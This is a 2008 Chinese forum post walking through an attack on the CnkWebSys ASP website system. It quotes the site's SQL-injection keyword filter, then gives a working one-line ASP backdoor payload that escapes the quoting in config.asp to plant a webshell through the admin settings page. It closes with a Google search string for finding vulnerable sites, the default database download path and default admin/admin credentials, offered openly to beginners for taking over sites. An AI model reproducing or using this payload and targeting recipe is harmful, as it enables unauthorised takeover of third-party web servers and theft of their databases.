CnkWebSys,全称中网景网站管理系统,ASP格式。闲来无聊,下载一套回来分析,本人也是初学者,照着高手的方法做做样子。。。。。
先上网搜了一下,貌似有个中网景论坛,有上传漏洞,但是这个不是论坛是一个新闻购物系统。
打开主页,随便点开几个新闻发表页面,地址栏既看到
http://localhost/chinese/Article.asp?id=7&ChannelID=2字样
毫不犹豫加上了 ‘ 再回车,吓一跳
内容含有非法字符!请不要有'或and或or等字符,请去掉这些字符再发!!
如是要攻击网站,系统记录了你的操作↓
操作IP:127.0.0.1
操作时间:2008-3-22 16:14:03
操作页面:/chinese/Article.asp
提交方式:GET
提交参数:ChannelID
提交数据:2'
看来作者,加了防注入程序,具体看每个页面都包含了
<!--#include file="../opendb.asp" -->
而这个opendb.asp 则是这样的
<%Option Explicit
Response.Buffer = true%>
<!--#include file="common/fzr.asp" -->
<!--#include file="cnkdata/dbname.asp" -->
<!--#include file="common/config.asp"-->
<%
一个数据库连接文件
再看fzr.asp
就是这个了
<%
Dim zrchar,zrchars,zrxh,zritem
Dim zrfso,zrtree,zrfile1,zrfile2,zrfile3
Dim zrfs
If Request.QueryString<>"" Then
'自定义需要过滤的字串,用 "|" 分隔
zrchar = "'|;|%|*|and|exec|insert|select|delete|update|count|chr|mid|master|truncate|char|declare"
zrchars = split(zrchar,"|")
For Each zritem In Request.QueryString
For zrxh=0 To Ubound(zrchars)
If Instr(LCase(Request.QueryString(zritem)),zrchars(zrxh))<>0 Then
Response.Write "内容含有非法字符!请不要有'或and或or等字符,请去掉这些字符再发!!<br>"
Response.Write "如是要攻击网站,系统记录了你的操作↓<br>"
Response.Write "操作IP:"&Request.ServerVariables("REMOTE_ADDR")&"<br>"
Response.Write "操作时间:"&Now&"<br>"
Response.Write "操作页面:"&Request.ServerVariables("URL")&"<br>"
Response.Write "提交方式:GET<br>"
Response.Write "提交参数:"&zritem&"<br>"
Response.Write "提交数据:"&Request.QueryString(zritem)
'写入文件
set zrfso=Server.CreateObject("Scripting.FileSystemObject")
zrtree=server.mappath("fhack")&"\"
if (zrfso.FolderExists(zrtree)) then'判断今天的文件夹是否存在
else
zrfso.CreateFolder(zrtree)
end if
zrfile1=chan_file(now)
zrfile2=zrfile1&".txt"
zrfile3=zrtree&"\"&zrfile2
'dim zrfso,zrfs
set zrfs=zrfso.CreateTextFile(zrfile3,2,true) '写文件
zrfs.write "操作IP:"&Request.ServerVariables("REMOTE_ADDR")& vbcrlf
zrfs.write "操作时间:"&Now & vbcrlf
zrfs.write "操作页面:"&Request.ServerVariables("URL") & vbcrlf
zrfs.write "提交方式:GET" & vbcrlf
zrfs.write "提交参数:"&zritem & vbcrlf
zrfs.write "提交数据:"&Request.QueryString(zritem)
zrfs.close
set zrfs=nothing
set zrfso=nothing
Response.Write "<Script Language=JavaScript>alert('内容含有非法字符!');</Script>"
Response.End
End If
Next
Next
End If
function chan_file(shijian)'转换日期时间函数
Dim s_year,s_month,s_day,s_hour,s_minute,s_ss
s_year=year(shijian)
if len(s_year)=2 then s_year="20"&s_year
s_month=month(shijian)
if s_month<10 then s_month="0"&s_month
s_day=day(shijian)
if s_day<10 then s_day="0"&s_day
s_hour=hour(shijian)
if s_hour<10 then s_hour="0"&s_hour
s_minute=minute(shijian)
if s_minute<10 then s_minute="0"&s_minute
s_ss=second(shijian)
if s_ss<10 then s_ss="0"&s_ss
chan_file = s_year & s_month & s_day & s_hour & s_minute & s_ss
end function
%>
从代码上看 提交方式:get 根本就没用程序判断,也算一个小插曲吧。。。。
看来直接注入是没什么可能了。
到处看了下,水平太菜,也没发现什么可利用的。难道今天这么无聊。。。
进后台玩玩。
后台情况如图所示
后台有上传图片的功能,随手找个ASP马上传,不行,改成JPG上传,哇,居然直接提醒叫我不要上传马。。。看来首先他判断了文件类型,然后还会判断文件内容。。。作者看来对黑客的一点小伎俩还是比较了解的,没什么白痴的漏洞了。
不爽!!
也就是说,我进不了后台,就算我进了后台,还是拿不到webshell...
数据库是MDB格式的,不可以插入一句话木马。
突然灵机一动?没人说一句话木马必须插在改成ASP格式的数据库里面啊,看看其他页面咯。
说做就做!!
点击基本设置,看到如下情况
先看到版权信息,插入一句话<%eval request("hacker")%>,保存。
保存完毕,没想到页面不能正常显示了。
这下我可高兴了,说明插入的代码可是有了作用的,跟跨站有点类似啊,不过我这次可准备直接插一句话的!
看返回出错的页面信息
错误类型:
Microsoft VBScript 编译器错误 (0x800A0409)
未结束的字符串常量
C:\INETPUB\WWWROOT\ADMIN\../common/config.asp, line 10, column 47
const SiteCopyright="<%eval request(""hacker"")
----------------------------------------------^
很显然是common/config.asp页面里的代码出了问题,打开看一下:
<%
const SiteName="中网景网站"
const SiteName_en="Shenzhen CNetKing Info-Tech Co.,Ltd."
const SiteURL="www.cnetking.com"
const MasterEmail="@"
const SiteKeyword="网站开发,网站系统"
const SiteDescription="网站开发,网站系统"
const SiteKeyword_en="CNK"
const SiteDescription_en="CNK"
const SiteCopyright="<%eval request(""hacker"")%><br/>Powered by <a href=http://www.websys.cn/target=_blank>CnkWebSys</a> © CNK Inc."
const SiteCopyright_en="<br />Powered by <ahref=http://www.websys.cn/ target=_blank>CnkWebSys</a>© CNK Inc."
const LeftC
const LeftContact_en="Tel:0755-81939499<br />QQ:61169811 61128110<br />MSN:aseanleung@yahoo.com"
const cookies_name="cnkbbs"
const isNewUser=1
const isCheckUser=0
const isShenCmt=1
const isShenGb=1
const GetPasswordNum=5
const BadUsername="管理员|江泽民|胡锦涛|朱镕基|温家宝"
%>
看这一行const SiteCopyright="<%evalrequest(""hacker"")%><br />Powered by <ahref=http://www.websys.cn/,我的代码进去了,但是把原来的代码搞散了,现在要做的就是构造语句使这个页面的
我们的一句话能够执行咯!
插在SiteCopyright这个变量里面有点麻烦,我想插在LeftContact_en这个变量里面,毕竟没什么干扰的代码,还算比较干净的。
看看刚才出错的信息,Microsoft VBScript 编译器错误 (0x800A0409)
未结束的字符串常量,我没学过ASP,完全一超级小白,只能胡乱改了,有个未结束的字符串常量?
应该是<%和%>没有能够对的上的关系,我现在要插在MSN:aseanleung@yahoo.com"这个里面,就是要
闭合整个文件的<% %>以及前后的双引号了,于是我构造了如下语句
插在里面就变成了 LeftContact_en="略去。。。MSN:aseanleung@yahoo.com"%>
<%eval request("hacker")%><%
也就是在上面的英文联系方式里面写入"%><%eval request("hacker")%><%,运行出错,突然想起来,后面还有个引号呢。
这可是个大问题,引号,想了好久,怎么闭合呢?终于找到了一个方法
"%><%eval request("hacker")%><%dim a%><%a="a
先定义了一个变量,然后在给变量赋值,就把引号用掉了。自信的运行。
居然是错误。错误提示为
错误类型:
Microsoft VBScript 编译器错误 (0x800A0409)
未结束的字符串常量
C:\INETPUB\WWWROOT\ADMIN\../common/config.asp, line 13, column 100
const LeftContact_en="Tel:0755-81939499<br />QQ:61169811 61128110<br />MSN:aseanleung@yahoo.com ""
---------------------------------------------------------------------------------------------------^
再看config文件
此处代码为
aseanleung@yahoo.com ""%><%eval request(""hacker"")%><%dim a%><%a=""a"
原来我所有的双引号都变成了2个双引号!!回头看看,第一次插入的代码的hacker左右2边也变了
2个双引号,都怪自己不够仔细啊。
那不是要前功尽弃?不甘心啊,不知道是不是所有地方输入的双引号都会变成2个呢,抱着试一试的态度,我在,网站中文名称、网站英文名称、网址等处都写一个双引号,再看代码,惊喜的是在网站中文名称这个地方双引号没变,哈哈,那就在这个地方插入了。
输入 "%><%eval request("hacker")%><%dim a%><%a="a
成功!网站也显示正常,用一句话木马连接config.asp
哈哈,hello world!!!
然后就是上大马了。自此可以从后台拿WEBSHELL咯
至于怎么进后台,我只能继续研究咯。
顺便分享下利用方法,给咱们穷苦菜鸟们再多一个拿站的方法.
google:搜索关键字 Powered by CnkWebSys
然后只能碰运气了,去掉网站后面的chinese或者english再加上数据库地址
/cnkdata/cnkcms2008.mdb 虽然是碰运气,但是我看到几率还是很大的
google搜出来很多,其中很多没改数据库地址。
默认数据库用户名密码都是 admin
至于进了后台。就不用我说了吧。。。。。。。
总结一下:到处乱插才是王道,哈哈!!!
[ 本帖最后由 乘上白云 于 2008-3-22 19:56 编辑 ] |